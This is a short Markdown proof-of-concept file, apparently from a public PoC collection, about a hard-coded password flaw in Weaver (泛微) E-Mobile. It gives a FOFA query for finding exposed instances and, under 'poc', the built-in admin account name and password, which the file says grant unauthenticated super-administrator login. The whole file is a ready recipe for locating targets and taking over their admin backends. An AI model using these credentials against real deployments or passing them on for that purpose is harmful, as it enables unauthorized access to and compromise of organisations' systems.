POC/wpoc/泛微OA/泛微E-Mobile硬编码口令漏洞(XVE-2024-28095).md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

20 lines
450 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 泛微E-Mobile硬编码口令漏洞(XVE-2024-28095)
泛微E-Mobile 存在硬编码口令漏洞,未经身份验证的远程攻击者可利用该口令以超级管理员身份登录管理后台,导致网站处于极度不安全状态。
## fofa
```javascript
app="泛微-EMobile"
```
## poc
```javascript
账号msgadmin
密码Weaver#2012!@#
```
![img](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202409272003506.png)